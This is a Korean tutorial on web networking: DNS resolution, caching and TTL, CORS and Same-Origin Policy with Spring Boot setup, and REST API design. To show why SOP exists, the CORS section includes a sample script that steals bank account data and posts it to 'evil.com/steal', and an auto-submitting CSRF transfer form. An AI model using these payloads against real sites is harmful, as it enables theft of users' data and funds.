이 문서는 웹 개발의 핵심 네트워크 개념을 실무 관점에서 다룹니다.
DNS는 도메인을 IP로 변환하는 4단계 분산 계층 구조와 캐싱 메커니즘, TTL 설정 전략을 다룹니다.
CORS는 브라우저의 Same-Origin Policy와 Cross-Origin 요청 처리 방식, Preflight 동작 원리와 Spring Boot 설정 방법을 설명합니다.
REST는 6가지 아키텍처 원칙과 HTTP 메서드 활용, RESTful URI 설계 패턴, 상태 코드 사용법을 다룹니다.
DNS (Domain Name System)는 도메인 이름(예: google.com)을 IP 주소(예: 142.250.196.78)로 변환하는 분산 계층 시스템입니다.
사람이 기억하기 쉬운 도메인 → 컴퓨터가 이해하는 IP 주소
google.com → 142.250.196.78
naver.com → 223.130.200.107
DNS는 단순한 "전화번호부"가 아니라 전 세계에 분산된 서버들의 협력 시스템입니다. 계층 구조로 책임을 분산하고, 캐싱으로 빠른 응답을 보장합니다.
전 세계 모든 도메인을 하나의 서버가 관리한다면 다음과 같은 문제가 발생합니다. 단일 장애점(SPOF) 문제로 서버 하나가 다운되면 전 세계 인터넷이 마비됩니다. 수십억 요청을 한 곳에서 처리할 수 없어 성능 병목이 발생하고, 한국에서 미국 서버까지 매번 왕복해야 하는 지리적 지연 문제가 있습니다. 또한 수억 개 도메인을 한 조직이 관리하는 것은 불가능하며, 공격 대상이 명확해 DDoS에 매우 취약합니다.
분산 시스템은 각 조직이 자기 영역만 관리하여 책임을 분산하고, 전 세계 서버가 트래픽을 나눠서 처리하여 부하를 분산합니다. 가까운 서버에서 응답하여 빠른 응답이 가능하고, 한 영역의 문제가 전체로 확산되지 않아 장애를 격리할 수 있습니다. 새 도메인이나 서버 추가가 용이하여 확장성이 뛰어납니다.
DNS는 4단계 계층으로 구성됩니다.
1. DNS Resolver (재귀적 DNS 서버)
↓
2. Root Name Server (루트 네임 서버)
↓
3. TLD Name Server (최상위 도메인 네임 서버)
↓
4. Authoritative Name Server (권한 있는 네임 서버)
[사용자 브라우저]
↓ "google.com의 IP는?"
[DNS Resolver] ← 통신사/ISP (KT, SKT 등)
↓ 캐시 확인 → 없으면 질의 시작
[Root Name Server]
↓ ".com TLD 서버 주소 알려줌"
[TLD Name Server (.com)]
↓ "google.com의 Authoritative 서버 주소 알려줌"
[Authoritative Name Server (Google)]
↓ "google.com = 142.250.196.78"
[DNS Resolver]
↓ IP 주소 반환 + 캐싱 (TTL 동안 저장)
[사용자 브라우저]
↓ 받은 IP로 HTTP 요청
[Google 서버]
사용자를 대신해서 DNS 조회를 수행하는 중개자 역할을 합니다. 통신사(KT, SK 등) 또는 공용 DNS(8.8.8.8, 1.1.1.1)에 위치하며, 사용자 대신 여러 네임 서버에 질의하고 답을 찾을 때까지 반복적으로 질의합니다. 결과를 캐싱해서 다음에 빠르게 응답합니다.
동작 예시
사용자: "google.com의 IP 알려줘"
Resolver: "내가 대신 찾아줄게!"
→ (캐시 확인 → 없으면 Root로 이동)
DNS 계층의 최상위로, 어디로 가야 할지 알려주는 안내자 역할을 합니다. TLD 서버의 위치를 알려줍니다. 전 세계에 13개가 있지만 실제로는 수백 개의 미러 서버가 운영됩니다.
동작 예시
Resolver: "google.com의 IP 알려줘"
Root: "나는 모든 도메인을 모르지만,
.com 도메인은 TLD(.com) 네임 서버한테 물어봐.
주소는 여기야"
→ TLD 네임 서버 IP 반환
.com, .net, .kr 등 최상위 도메인을 관리합니다. 해당 TLD 아래의 도메인들을 관리하는 Authoritative 서버 위치를 알려줍니다.
동작 예시
Resolver: "google.com의 IP 알려줘"
TLD(.com): "google.com은 내가 관리하는 .com 도메인이긴 한데,
구체적인 정보는 Google의 Authoritative 서버한테 물어봐"
→ Google의 네임 서버 IP 반환
실제 도메인 정보를 가지고 있는 최종 답변자입니다. 특정 도메인(예: google.com)을 관리하며, 해당 도메인의 실제 IP 주소를 반환합니다.
동작 예시
Resolver: "google.com의 IP 알려줘"
Authoritative: "google.com은 142.250.196.78이야!"
→ 실제 IP 주소 반환
DNS 조회는 4곳에서 캐싱됩니다.
1단계: [브라우저 캐시]
↓ 없으면
2단계: [OS 캐시]
↓ 없으면
3단계: [라우터 캐시]
↓ 없으면
4단계: [DNS Resolver 캐시]
↓ 없으면
Root → TLD → Authoritative 조회 시작
브라우저 캐시
Chrome://net-internals/#dns 에서 확인할 수 있습니다. 짧은 TTL(보통 1분 정도)을 가지며, 가장 빠르지만 브라우저별로 독립적입니다.
OS 캐시
# Windows
ipconfig /displaydns # 캐시 확인
ipconfig /flushdns # 캐시 삭제
# Mac
sudo dscacheutil -flushcache
# Linux
sudo systemd-resolve --flush-caches
라우터 캐시
가정용 라우터도 DNS 캐시를 보유하며, 같은 Wi-Fi 사용자들끼리 공유합니다.
DNS Resolver 캐시
ISP(통신사)나 공용 DNS(8.8.8.8)가 관리하며, TTL에 따라 수 시간에서 며칠까지 가장 오래 캐싱합니다.
사용자: "naver.com 접속"
↓
브라우저: "내 캐시에 있나? 없네"
↓
OS: "내 캐시에 있나? 있어! 223.130.200.107" ← 여기서 끝!
↓
브라우저: 받은 IP로 HTTP 요청
→ DNS Resolver까지 안 가도 되는 경우가 대부분!
TTL (Time To Live)은 DNS 레코드의 캐시 유효 시간입니다. 이 DNS 응답을 얼마나 오래 캐싱해도 되는지를 나타냅니다.
Authoritative Server의 DNS 레코드:
naver.com A 223.130.200.107 TTL: 300 (초)
↑ ↑
타입 5분간 캐싱 가능
이는 "naver.com의 IP는 223.130.200.107이고, 이 정보는 300초(5분) 동안 유효하니 그 시간 안에 또 물어보면 캐시된 것을 쓰고, 5분 지나면 다시 물어봐라"는 의미입니다.
# 첫 번째 조회 (10:00:00)
dig naver.com
; ANSWER SECTION:
naver.com. 243 IN A 223.130.200.107
↑
TTL (남은 시간)
# 10초 후 조회 (10:00:10)
dig naver.com
; ANSWER SECTION:
naver.com. 233 IN A 223.130.200.107
↑
TTL이 233초로 감소!
# TTL이 0이 되면 → 캐시 만료 → 다시 조회
장점
IP를 바꾸면 1분 안에 전 세계에 적용되어 빠른 IP 변경 전파가 가능하고, 인프라 유연성이 증가합니다. 여러 IP로 트래픽 분산 시 동적 조정이 가능하여 로드밸런싱 효율이 좋습니다.
단점
1분마다 캐시가 만료되어 DNS 조회가 폭증하고 DNS 서버 비용이 증가합니다. 캐시 히트율이 낮아 DNS 조회가 자주 발생하여 응답 속도가 느려지고 사용자 경험이 저하됩니다(수십 ms 추가 지연). DNS 서버 장애 시 더 빨리 영향을 받아 인프라 의존성이 높아집니다.
장점
1시간에 한 번만 조회하여 DNS 조회를 최소화하고 빠른 응답으로 사용자 경험이 향상됩니다. 트래픽이 감소하여 DNS 서버 부하가 줄고 비용이 절감됩니다. DNS 서버 일시 장애 시에도 캐시로 버틸 수 있어 장애 내성이 좋습니다.
단점
IP를 바꿔도 최대 1시간 동안 구 IP로 접속하여 IP 변경 전파가 느리고 긴급 대응이 어렵습니다. 인프라 변경이 빈번한 서비스에는 유연성이 부족합니다.
TTL 60초(짧게)는 CDN 사용, 클라우드 인프라(Auto Scaling), 마이그레이션 중일 때 사용합니다. GitHub(60초), AWS ELB(60초)가 대표적인 예시입니다.
TTL 3600초(길게)는 IP가 거의 안 바뀌는 안정적인 서버나 트래픽이 큰 서비스에서 비용이 중요할 때 사용합니다. Google(300초), 일반 기업 사이트(3600초)가 예시입니다.
변경 24시간 전에 TTL을 60초로 단축하여 캐시가 빨리 만료되도록 합니다. 변경 시점에 Authoritative 서버에서 레코드를 수정하여 IP를 변경합니다. 변경 후 1-2시간 동안 구 IP와 신 IP 모두 트래픽을 확인하며 모니터링합니다. 안정화 후 TTL을 다시 3600초로 복구하여 캐시 효율을 회복합니다.
# nslookup 사용
nslookup google.com
# dig 사용 (더 상세)
dig google.com
# 특정 DNS 서버 지정
dig @8.8.8.8 google.com
# +trace 옵션으로 전체 과정 보기
dig +trace google.com
# 출력 예시:
# . (Root) → com. (TLD) → google.com. (Authoritative)
# 첫 조회
dig naver.com | grep -A 1 "ANSWER SECTION"
# 10초 후 다시 조회
dig naver.com | grep -A 1 "ANSWER SECTION"
# TTL 값이 줄어든 걸 확인!
CORS (Cross-Origin Resource Sharing)는 다른 출처(Origin)의 리소스를 공유하는 것을 허용하는 정책입니다.
브라우저는 기본적으로 SOP (Same-Origin Policy)를 적용합니다. "다른 출처(Origin)의 리소스는 기본적으로 차단해!"라는 원칙입니다.
Origin은 Protocol + Host + Port로 구성됩니다.
https://example.com:443/path?query=1
└─┬──┘ └─────┬─────┘└┬┘
Protocol Host Port
└──────────┬──────────┘
Origin
기준이 https://example.com:443 일 때, Same Origin(같은 출처)은 https://example.com:443/api/users, https://example.com:443/about, https://example.com/path (포트 생략 = 443)입니다.
Cross Origin(다른 출처)은 http://example.com (Protocol 다름: https → http), https://api.example.com (Host 다름: 서브도메인 포함!), https://example.com:8080 (Port 다름: 443 → 8080), https://example.org (도메인 다름)입니다.
// 악의적인 사이트 (http://evil.com)
<script>
// 사용자가 은행 사이트(bank.com)에 로그인한 상태
// SOP가 없다면? → 이 요청이 성공해버림!
fetch('https://bank.com/api/account', {
credentials: 'include' // 은행 쿠키 자동 포함
})
.then(res => res.json())
.then(data => {
// 사용자의 계좌 정보를 악의적인 서버로 전송
fetch('http://evil.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
SOP가 있으면 브라우저가 "evil.com에서 bank.com으로 요청? 차단!"하여 사용자 정보를 보호합니다.
<!-- 악의적인 사이트 -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker-account" />
<input type="hidden" name="amount" value="1000000" />
</form>
<script>
document.forms[0].submit(); // 자동 송금!
</script>
SOP, CORS, CSRF 토큰을 함께 사용하여 방어합니다.
GET, HEAD, POST 중 하나의 메서드를 사용하고, 특정 헤더만 사용하며, Content-Type이 application/x-www-form-urlencoded, multipart/form-data, text/plain 중 하나여야 합니다.
흐름
브라우저가 GET /api/data를 Origin: https://frontend.com과 함께 보내면, 서버가 Access-Control-Allow-Origin: https://frontend.com으로 응답합니다. 브라우저는 출처를 확인하고 응답을 허용합니다.
Simple Request가 아닌 모든 경우, 즉 PUT, DELETE, PATCH 메서드를 사용하거나 Authorization 헤더를 사용하거나 Content-Type이 application/json인 경우 Preflight가 발생합니다.
흐름
브라우저가 먼저 OPTIONS /api/data (Preflight)를 Origin, Access-Control-Request-Method, Access-Control-Request-Headers와 함께 보냅니다. 서버가 Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Headers로 응답하면, 브라우저는 검증을 통과한 후 실제 POST 요청을 보내고, 서버는 실제 응답을 반환합니다.
@RestController
@RequestMapping("/api")
public class ApiController {
@CrossOrigin(origins = "http://localhost:3000")
@GetMapping("/data")
public String getData() {
return "Data from server";
}
}
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("http://localhost:3000")
.allowedMethods("GET", "POST", "PUT", "DELETE", "PATCH")
.allowedHeaders("*")
.allowCredentials(true)
.maxAge(3600);
}
}
| 옵션 | 설명 | 예시 |
|---|---|---|
allowedOrigins | 허용할 출처 | "http://localhost:3000" |
allowedMethods | 허용할 HTTP 메서드 | "GET", "POST", "PUT" |
allowedHeaders | 허용할 헤더 | "*" (모든 헤더) |
allowCredentials | 쿠키 포함 여부 | true / false |
maxAge | Preflight 캐시 시간(초) | 3600 (1시간) |
// 절대 사용하지 마세요!
.allowedOrigins("*") // 모든 출처 허용
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins(
"https://myapp.com",
"https://www.myapp.com"
)
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowCredentials(true);
}
}
REST (Representational State Transfer)는 웹의 장점을 최대한 활용하는 아키텍처 스타일입니다. Roy Fielding이 2000년 박사 논문에서 제안한 6가지 제약 조건을 따릅니다.
클라이언트와 서버를 분리합니다. 클라이언트는 UI와 사용자 경험을 담당하고, 서버는 데이터 저장과 비즈니스 로직을 담당합니다. 각자 독립적으로 발전할 수 있습니다.
좋은 예는 Frontend (React)와 Backend API (Spring Boot)가 분리된 구조이고, 나쁜 예는 JSP로 HTML을 생성하는 서버와 UI가 결합된 구조입니다.
서버는 클라이언트의 상태를 저장하지 않습니다. 각 요청은 독립적이며 처리에 필요한 모든 정보를 포함해야 합니다.
Stateful (상태 유지) - 나쁜 예
// 세션 기반 인증
@PostMapping("/api/login")
public ResponseEntity<String> login(@RequestBody LoginRequest request,
HttpSession session) {
User user = authService.authenticate(request.getEmail(), request.getPassword());
// 서버 메모리(세션)에 사용자 정보 저장
session.setAttribute("userId", user.getId());
session.setAttribute("userRole", user.getRole());
return ResponseEntity.ok("로그인 성공");
}
@GetMapping("/api/profile")
public ResponseEntity<User> getProfile(HttpSession session) {
// 세션에서 사용자 정보 꺼냄
Long userId = (Long) session.getAttribute("userId");
User user = userService.findById(userId);
return ResponseEntity.ok(user);
}
문제점
사용자 1만명이면 1만개의 세션 정보를 메모리에 보관해야 하고, 서버 재시작 시 모든 세션이 소실되어 사용자가 재로그인해야 합니다. 서버 A에서 로그인하면 세션이 서버 A에만 존재하여, 다음 요청이 서버 B로 가면 세션이 없어 인증에 실패합니다. 이를 해결하려면 Sticky Session 또는 Redis 같은 공유 세션 저장소가 필요하여 복잡도가 증가합니다. 세션 동기화가 필요하고 분산 환경에서 세션 관리가 복잡합니다.
Stateless (무상태) - 좋은 예
// JWT 기반 인증
@PostMapping("/api/login")
public ResponseEntity<TokenResponse> login(@RequestBody LoginRequest request) {
User user = authService.authenticate(request.getEmail(), request.getPassword());
// JWT 생성 (사용자 정보를 토큰에 포함)
String token = jwtService.generateToken(user);
return ResponseEntity.ok(new TokenResponse(token));
}
@GetMapping("/api/profile")
public ResponseEntity<User> getProfile(@RequestHeader("Authorization") String token) {
// 토큰 검증 및 사용자 정보 추출
Long userId = jwtService.getUserIdFromToken(token);
User user = userService.findById(userId);
return ResponseEntity.ok(user);
}
JWT 토큰 예시
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywicm9sZSI6IlVTRVIiLCJleHAiOjE3MDAwMDAwMDB9.signature
디코딩하면:
{
"userId": 123,
"role": "USER",
"exp": 1700000000
}
요청 흐름
로그인 시 POST /api/login을 보내면 서버가 JWT를 생성해서 반환하고, 클라이언트는 토큰을 localStorage나 cookie에 저장합니다. 이후 모든 요청에 GET /api/profile을 Authorization: Bearer 토큰과 함께 보내면, 서버는 토큰을 검증하고 서명을 확인한 후 토큰에서 userId를 추출하여 요청을 처리합니다. 로그아웃 시에는 클라이언트에서 토큰만 삭제하면 되고 서버는 아무것도 할 필요가 없습니다.
장점
세션 정보를 저장하지 않아 서버 메모리가 절약되고, 사용자가 100만명이어도 서버 메모리 부담이 없습니다. 어느 서버로 요청이 가도 토큰만 검증하면 되어 수평 확장이 쉽고, 로드 밸런서가 자유롭게 요청을 분산할 수 있으며 별도의 세션 공유 저장소가 불필요합니다. 서버가 재시작되어도 클라이언트는 영향이 없고 토큰만 있으면 계속 사용할 수 있어 서버 장애에 강합니다. 각 서비스가 독립적으로 토큰을 검증할 수 있고 서비스 간 세션 공유가 불필요하여 마이크로서비스 친화적입니다.
주의사항
HTTPS를 필수로 사용하여 중간자 공격을 방지하고, 토큰 유효 기간을 설정하며(보통 1시간~24시간), Refresh Token을 활용해야 합니다. 발급된 토큰은 유효 기간까지 유효하므로 즉시 무효화가 필요하면 블랙리스트 방식을 사용합니다(Redis 등).
응답은 캐시 가능 여부를 명시해야 합니다.
@GetMapping("/users/{id}")
public ResponseEntity<User> getUser(@PathVariable Long id) {
User user = userService.getUser(id);
return ResponseEntity.ok()
.cacheControl(CacheControl.maxAge(1, TimeUnit.HOURS))
.eTag(String.valueOf(user.hashCode()))
.body(user);
}
클라이언트는 대상 서버에 직접 연결되었는지, 중간 서버를 거쳤는지 알 수 없습니다. 여러 계층을 둘 수 있으며, 각 계층은 바로 인접한 계층하고만 상호작용합니다.
계층화된 아키텍처
[클라이언트]
↓ HTTPS 요청
[CDN / 캐시 서버]
↓ 캐시 미스 시
[로드 밸런서]
↓ 서버 선택
[API Gateway]
↓ 라우팅, 인증
[인증 서버]
↓ 토큰 검증
[애플리케이션 서버]
↓ 비즈니스 로직
[데이터베이스]
클라이언트는 CDN만 알 뿐,
뒤의 계층 구조는 알지 못함
각 계층의 역할
CDN/캐시 서버는 정적 리소스 캐싱(이미지, CSS, JS)을 하고 지리적으로 가까운 서버에서 응답하여 원본 서버 부하를 감소시킵니다. 로드 밸런서는 여러 서버로 트래픽을 분산하고 헬스 체크로 장애 서버를 제외하며 SSL/TLS를 종료합니다. API Gateway는 요청 라우팅(/api/users → 사용자 서비스), 인증/인가 처리, Rate Limiting(속도 제한), 로깅, 모니터링을 담당합니다. 인증 서버는 JWT 토큰 검증, OAuth 처리, 권한 확인을 하고, 애플리케이션 서버는 비즈니스 로직을 실행하고 데이터를 처리합니다.
실제 요청 흐름 예시
사용자가 GET https://api.example.com/users/123을 요청하면, 1단계에서 CDN이 캐시를 확인합니다. 캐시가 있으면 즉시 응답하고, 없으면 다음 계층으로 넘어갑니다. 2단계에서 로드 밸런서가 서버 A, B, C 중 가장 부하가 낮은 서버 B를 선택하여 전달합니다. 3단계에서 API Gateway가 Authorization 헤더를 확인하고 인증 서버에 토큰 검증을 요청합니다. 검증이 완료되면 애플리케이션 서버로 전달합니다. 4단계에서 애플리케이션 서버가 사용자 ID 123을 조회하고 DB에서 데이터를 가져와 응답을 생성합니다. 5단계에서 역순으로 응답이 전달되어 각 계층을 거쳐 클라이언트에게 도달합니다.
장점
방화벽, WAF를 중간 계층에 추가하여 보안을 강화하고, 클라이언트가 내부 서버 구조를 알 수 없으며, DDoS 공격을 CDN/로드 밸런서에서 차단합니다. 계층별로 독립적으로 확장할 수 있고, 캐시 서버를 추가하여 성능을 향상시키며, 애플리케이션 서버만 스케일 아웃할 수 있어 확장성이 좋습니다. 로드 밸런서 변경 같은 특정 계층 교체가 가능하고 클라이언트에 영향이 없으며, 트래픽 일부만 새 서버로 보내 A/B 테스트가 용이하여 유연성이 좋습니다. 각 계층이 자기 역할에만 집중하여 관심사가 분리됩니다. 캐싱은 CDN이, 인증은 인증 서버가 담당합니다.
실무 예시 - API Gateway 활용
// API Gateway 설정 (Spring Cloud Gateway 예시)
@Bean
public RouteLocator customRouteLocator(RouteLocatorBuilder builder) {
return builder.routes()
// 사용자 서비스
.route("user-service", r -> r
.path("/api/users/**")
.filters(f -> f
.addRequestHeader("X-Gateway", "true")
.circuitBreaker(c -> c.setName("userService")))
.uri("lb://user-service"))
// 주문 서비스
.route("order-service", r -> r
.path("/api/orders/**")
.filters(f -> f
.addRequestHeader("X-Gateway", "true")
.circuitBreaker(c -> c.setName("orderService")))
.uri("lb://order-service"))
.build();
}
클라이언트 관점
클라이언트는 단일 엔드포인트만 알면 됩니다. fetch('https://api.example.com/users/123')를 호출하면 실제로는 CDN, 로드 밸런서, API Gateway, User Service (마이크로서비스) 같은 경로를 거치지만, 클라이언트는 이를 알 필요가 없습니다.
주의사항
계층이 많을수록 각 계층마다 오버헤드가 생겨 응답 시간이 증가하고, 디버깅 복잡도와 운영 비용이 증가합니다. 따라서 필요한 만큼만 계층을 추가하고 각 계층의 명확한 역할 정의가 필수입니다.
일관된 방식으로 리소스를 다루며, 4가지 제약 조건을 따릅니다.
리소스는 URI로 고유하게 식별됩니다.
좋은 예는 GET /api/users/123 (사용자 리소스), GET /api/posts/456 (게시글 리소스), GET /api/orders/789 (주문 리소스)입니다. 나쁜 예는 GET /api/getUser?id=123, GET /api/user/getUserById입니다.
클라이언트는 리소스의 표현(JSON, XML 등)을 통해 리소스를 조작합니다.
// 사용자 리소스의 JSON 표현
GET /api/users/123
{
"id": 123,
"name": "정석",
"email": "jeongseok@example.com"
}
// 이 표현을 수정해서 서버에 전송
PUT /api/users/123
{
"id": 123,
"name": "정석",
"email": "newemail@example.com"
}
각 메시지는 자신을 어떻게 처리해야 하는지 충분한 정보를 포함합니다.
GET /api/users/123 HTTP/1.1
Host: api.example.com
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 85
{
"id": 123,
"name": "정석"
}
포함해야 할 정보
Content-Type으로 메시지 형식을 명시하고, HTTP 메서드로 의도를 명시하며, 상태 코드로 결과를 명시합니다. 메시지만 봐도 처리 방법을 알 수 있습니다.
응답에 다음 가능한 액션의 링크를 포함합니다.
GET /api/users/123
{
"id": 123,
"name": "정석",
"status": "active",
"_links": {
"self": {
"href": "/api/users/123"
},
"orders": {
"href": "/api/users/123/orders"
},
"update": {
"href": "/api/users/123",
"method": "PUT"
},
"deactivate": {
"href": "/api/users/123/deactivate",
"method": "POST"
}
}
}
장점
클라이언트가 서버 URI 구조를 몰라도 되고, 서버가 URI를 변경해도 클라이언트 수정이 불필요하며, API 탐색이 용이합니다.
실무에서는
HATEOAS 구현은 복잡하고 비용이 높아서 대부분의 REST API는 Level 2까지만 구현합니다.
리소스는 명사를 사용하고 행위는 HTTP 메서드를 사용합니다.
좋은 예는 GET /api/users (사용자 목록 조회), GET /api/users/123 (특정 사용자 조회), POST /api/users (사용자 생성), PUT /api/users/123 (사용자 전체 수정), PATCH /api/users/123 (사용자 일부 수정), DELETE /api/users/123 (사용자 삭제)입니다.
나쁜 예는 GET /api/getUsers, POST /api/createUser, POST /api/deleteUser입니다.
| 메서드 | 의미 | 멱등성 | 안전성 | 캐시 가능 |
|---|---|---|---|---|
| GET | 조회 | O | O | O |
| POST | 생성 | X | X | X |
| PUT | 전체 수정 | O | X | X |
| PATCH | 일부 수정 | X | X | X |
| DELETE | 삭제 | O | X | X |
멱등성 (Idempotent)
같은 요청을 여러 번 해도 결과가 같습니다. GET /api/users/123은 몇 번을 조회해도 같은 결과를 반환하고, PUT /api/users/123은 같은 데이터로 여러 번 수정해도 결과가 동일합니다. DELETE /api/users/123은 이미 삭제된 리소스를 재삭제 시도하면 404를 반환하지만 서버 상태는 동일합니다. POST /api/users는 매번 새로운 사용자가 생성되어 멱등하지 않습니다.
안전성 (Safe)
서버 상태를 변경하지 않습니다. GET /api/users/123은 조회만 하고 변경이 없습니다. POST, PUT, PATCH, DELETE는 모두 서버 상태를 변경합니다.
서버가 실행 가능한 코드를 클라이언트에 전송할 수 있습니다. 이 원칙은 유일하게 선택사항입니다.
| 코드 | 의미 | 사용 시기 |
|---|---|---|
| 200 OK | 성공 | GET, PUT, PATCH 성공 |
| 201 Created | 생성 성공 | POST 성공 (리소스 생성) |
| 204 No Content | 성공 (본문 없음) | DELETE 성공 |
| 코드 | 의미 | 사용 시기 |
|---|---|---|
| 400 Bad Request | 잘못된 요청 | 유효성 검증 실패 |
| 401 Unauthorized | 인증 필요 | 로그인 안 함 |
| 403 Forbidden | 권한 없음 | 로그인했지만 권한 부족 |
| 404 Not Found | 리소스 없음 | 존재하지 않는 리소스 |
| 409 Conflict | 충돌 | 중복된 이메일 등록 |
| 코드 | 의미 | 사용 시기 |
|---|---|---|
| 500 Internal Server Error | 서버 오류 | 예상치 못한 오류 |
| 503 Service Unavailable | 서비스 불가 | 서버 점검 중 |
좋은 예는 GET /api/users, GET /api/orders/123입니다. 나쁜 예는 GET /api/getUsers, GET /api/order/get/123입니다.
좋은 예는 GET /api/users, GET /api/posts입니다. 나쁜 예는 GET /api/user, GET /api/post입니다.
GET /api/users/123/orders는 사용자의 주문 목록을 조회하고, GET /api/users/123/orders/456은 사용자의 특정 주문을 조회하며, POST /api/posts/123/comments는 게시글에 댓글을 작성합니다.
좋은 예는 /api/user-profiles, /api/order-items입니다. 나쁜 예는 /api/user_profiles, /api/order_items입니다.
좋은 예는 /api/users, /api/products입니다. 나쁜 예는 /api/Users, /api/PRODUCTS입니다.
좋은 예는 GET /api/users/123과 Accept: application/json입니다. 나쁜 예는 GET /api/users/123.json입니다.
REST API의 성숙도를 4단계로 나눕니다.
모든 요청이 POST이고 HTTP를 단순 전송 수단으로만 사용합니다.
POST /api/endpoint
{
"method": "getUser",
"userId": 123
}
리소스 개념이 도입되고 URI로 리소스를 구분합니다.
GET /api/users/123
POST /api/orders
HTTP 메서드와 상태 코드를 활용합니다.
GET /api/users/123
POST /api/users
PUT /api/users/123
DELETE /api/users/123
응답에 다음 가능한 액션 링크가 포함되어 클라이언트가 서버 URI 구조를 몰라도 됩니다.
{
"id": 123,
"name": "John",
"_links": {
"self": {
"href": "/api/users/123"
},
"orders": {
"href": "/api/users/123/orders"
}
}
}
실무에서는 대부분 Level 2까지만 구현합니다.
아니요, DNS 캐싱 덕분에 일부 사이트는 계속 접속 가능합니다.
브라우저 캐시, OS 캐시, 라우터 캐시, DNS Resolver 캐시를 순서대로 확인합니다. 캐시에 있는 사이트는 접속이 가능하고, TTL 만료 전까지는 정상 작동합니다.
해결책으로는 공용 DNS 사용 (8.8.8.8, 1.1.1.1)하거나 여러 DNS 서버 설정 (Primary + Secondary)하는 방법이 있습니다.
매번 DNS 조회가 발생합니다.
TTL이 0이면 캐시를 사용하지 않아 매 요청마다 DNS 조회가 발생합니다. 즉각적인 IP 변경 반영이 가능하지만 DNS 서버 부하가 폭증하고 응답 속도가 느려집니다.
실무에서는 절대 사용하지 않습니다!
다음과 같은 상황에서 필요합니다.
서버 IP가 변경되었는데 예전 IP로 접속되는 경우, 개발 중 hosts 파일을 수정한 경우, DNS 관련 문제 디버깅 시 필요합니다.
삭제 방법은 다음과 같습니다.
# Windows ipconfig /flushdns # Mac sudo dscacheutil -flushcache # Linux sudo systemd-resolve --flush-caches # 브라우저 (Chrome) chrome://net-internals/#dns → Clear host cache
UDP 패킷 크기 제한 때문입니다.
DNS는 UDP 프로토콜을 사용하는데 빠르지만 패킷 크기에 제한이 있습니다. 초기 DNS 설계에서 UDP 패킷 크기는 512바이트였고, 루트 서버 목록이 512바이트에 들어가려면 최대 13개까지만 가능합니다.
실제로는 Anycast로 전 세계에 수백 개의 미러 서버를 운영하며, 가장 가까운 서버로 자동 연결됩니다.
<img> 태그는 CORS 에러가 안 나는데 fetch()는 에러가 나나요?브라우저가 다르게 처리하기 때문입니다.
<img>,<script>,<link>태그는 리소스를 단순히 로드만 하고 JavaScript로 내용에 접근할 수 없어 보안 위험이 낮습니다.반면
fetch(),XMLHttpRequest는 JavaScript가 응답 내용을 읽을 수 있고 쿠키를 포함할 수 있어 보안 위험이 높아 CORS가 필요합니다.
아니요, 하지만 Simple Request 조건을 맞추면 Preflight를 피할 수 있습니다.
Simple Request 조건은 GET, HEAD, POST 중 하나의 메서드를 사용하고, Content-Type이 application/x-www-form-urlencoded, multipart/form-data, text/plain 중 하나이며, 특정 헤더만 사용하는 것입니다. 이 조건을 맞추면 Preflight가 없습니다!
하지만 실무에서는 Content-Type이 application/json이고 Authorization 헤더를 사용하여 Preflight가 불가피합니다.
대안으로는 maxAge로 Preflight 캐싱하는 방법이 있습니다.
registry.addMapping("/**") .maxAge(3600); // 1시간 동안 캐싱 // 같은 요청에 대해 Preflight 재사용
다음 순서로 확인하세요.
- 서버 CORS 설정 확인: allowedOrigins에 프론트엔드 주소가 포함되었는지, allowedMethods에 필요한 메서드가 포함되었는지 확인합니다.
- Origin 확인: http://localhost:3000 vs http://localhost:3001, http:// vs https://, 포트 번호를 확인합니다.
- 브라우저 개발자 도구 확인: Network 탭에서 Preflight 요청을 확인하고 Response Headers를 확인합니다.
- 프록시 설정 확인 (개발 환경): React는 package.json의 proxy 설정을, Vue는 vue.config.js의 devServer.proxy를 확인합니다.
여러 방법이 있습니다.
방법 1 서버에서 모든 Origin 허용 (개발용)
registry.addMapping("/**") .allowedOrigins("*"); // 개발 환경만!방법 2 프론트엔드 프록시 설정
// React: package.json { "proxy": "http://localhost:8080" } // Vue: vue.config.js module.exports = { devServer: { proxy: 'http://localhost:8080' } }방법 3 브라우저 확장 프로그램
Chrome 확장으로 CORS Unblock, Allow CORS가 있습니다. 주의할 점은 개발 시에만 사용해야 한다는 것입니다!
REST는 아키텍처 스타일, RESTful은 REST를 따르려는 노력입니다.
REST는 Roy Fielding이 정의한 6가지 제약 조건으로, 완벽하게 지키기 매우 어렵습니다(특히 HATEOAS).
RESTful은 REST 원칙을 최대한 따르려는 API로, 보통 Richardson Maturity Model Level 2 수준의 현실적인 타협안입니다.
완벽한 REST (Level 3)는 HATEOAS를 구현해야 하는데 구현 비용이 높아 거의 사용하지 않습니다. RESTful (Level 2)는 HTTP 메서드와 상태 코드, 리소스 기반 URI를 사용하며 대부분 여기서 만족합니다.
상황에 따라 다릅니다.
REST를 사용하는 경우
간단한 CRUD 작업, 캐싱이 중요한 경우, 표준 HTTP 기능 활용, 팀원 모두가 익숙한 경우, API가 안정적이고 변경이 적은 경우입니다.
GraphQL을 사용하는 경우
복잡한 데이터 관계, 클라이언트가 필요한 데이터만 요청하는 경우, Over-fetching/Under-fetching 문제가 있는 경우, 빠른 프론트엔드 개발, 모바일 앱(데이터 전송량 최소화)입니다.
실무 팁으로는 둘 다 사용 가능하고(Hybrid), REST로 시작해서 필요 시 GraphQL을 추가하며, 간단한 서비스는 REST로 충분합니다.
JWT(JSON Web Token)를 사용합니다.
세션 (Stateful)은 서버가 로그인 정보를 저장하고 서버 메모리에 의존합니다.
JWT (Stateless)는 토큰에 모든 정보를 포함하고 서버는 상태를 저장하지 않습니다.
